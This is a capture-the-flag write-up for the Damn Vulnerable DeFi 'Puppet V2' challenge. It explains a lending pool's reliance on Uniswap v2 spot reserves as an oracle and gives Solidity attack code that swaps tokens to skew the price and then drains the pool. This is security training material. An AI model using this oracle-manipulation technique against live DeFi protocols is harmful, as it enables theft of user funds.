# Damn Vulnerable DeFi V4 - Puppet V2 [toc] ## Intro The developers of the previous pool seem to have learned the lesson. And released a new version. Now they’re using a Uniswap v2 exchange as a price oracle, along with the recommended utility libraries. Shouldn’t that be enough? You start with 20 ETH and 10000 DVT tokens in balance. The pool has a million DVT tokens in balance at risk! Save all funds from the pool, depositing them into the designated recovery account. <br> ## Source Code Source code https://github.com/theredguild/damn-vulnerable-defi/tree/v4.0.0/src/puppet-v2 Test file https://github.com/theredguild/damn-vulnerable-defi/blob/v4.0.0/test/puppet-v2/PuppetV2.t.sol <br> ## Analysis Same as the last challenge, the underlying oracle calculation still based on the uniswapV2's balance ratio Our goal is to manipulate the WETH/DVT price pair by - Less the amount of needed WETH as collateral - To achieve this, the `reserveA`(or `DVT` in this case) has to be higher <br> **We can exploit this via perform a swap to ETH by all of our DVT(token)** - `uniswapV2Router.swapExactTokensForETH` ```solidity= function borrow(uint256 borrowAmount) external { // Calculate how much WETH the user must deposit uint256 amount = calculateDepositOfWETHRequired(borrowAmount); ... } function calculateDepositOfWETHRequired(uint256 tokenAmount) public view returns (uint256) { uint256 depositFactor = 3; return _getOracleQuote(tokenAmount) * depositFactor / 1 ether; } // Fetch the price from Uniswap v2 using the official libraries function _getOracleQuote(uint256 amount) private view returns (uint256) { (uint256 reservesWETH, uint256 reservesToken) = UniswapV2Library.getReserves({factory: _uniswapFactory, tokenA: address(_weth), tokenB: address(_token)}); return UniswapV2Library.quote({amountA: amount * 10 ** 18, reserveA: reservesToken, reserveB: reservesWETH}); } ... // UniswapV2Library.sol // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) internal pure returns (uint256 amountB) { require(amountA > 0, "UniswapV2Library: INSUFFICIENT_AMOUNT"); require(reserveA > 0 && reserveB > 0, "UniswapV2Library: INSUFFICIENT_LIQUIDITY"); amountB = amountA * reserveB / reserveA; } ``` <br> ## Attack ```solidity= // deposit weth and borrow DVT // uniswap pair -> weth: DVT = 10: 100 // function test_puppetV2() public checkSolvedByPlayer { // token.transfer(address(uniswapV2Router), PLAYER_INITIAL_TOKEN_BALANCE); token.approve(address(uniswapV2Router), type(uint256).max); // prepare the variable // Add uniswap DVT liquidity, cause DVT easy to borrow address[] memory path = new address[](2); path[0] = address(token); path[1] = address(weth); uniswapV2Router.swapExactTokensForETH( token.balanceOf(address(player)), 1 ether, path, player, block.timestamp ); // Now we have some ETH, now deposit into as WETH weth.deposit{value: player.balance}(); weth.approve(address(lendingPool), weth.balanceOf(player)); lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE); token.transfer(recovery, token.balanceOf(player)); } ```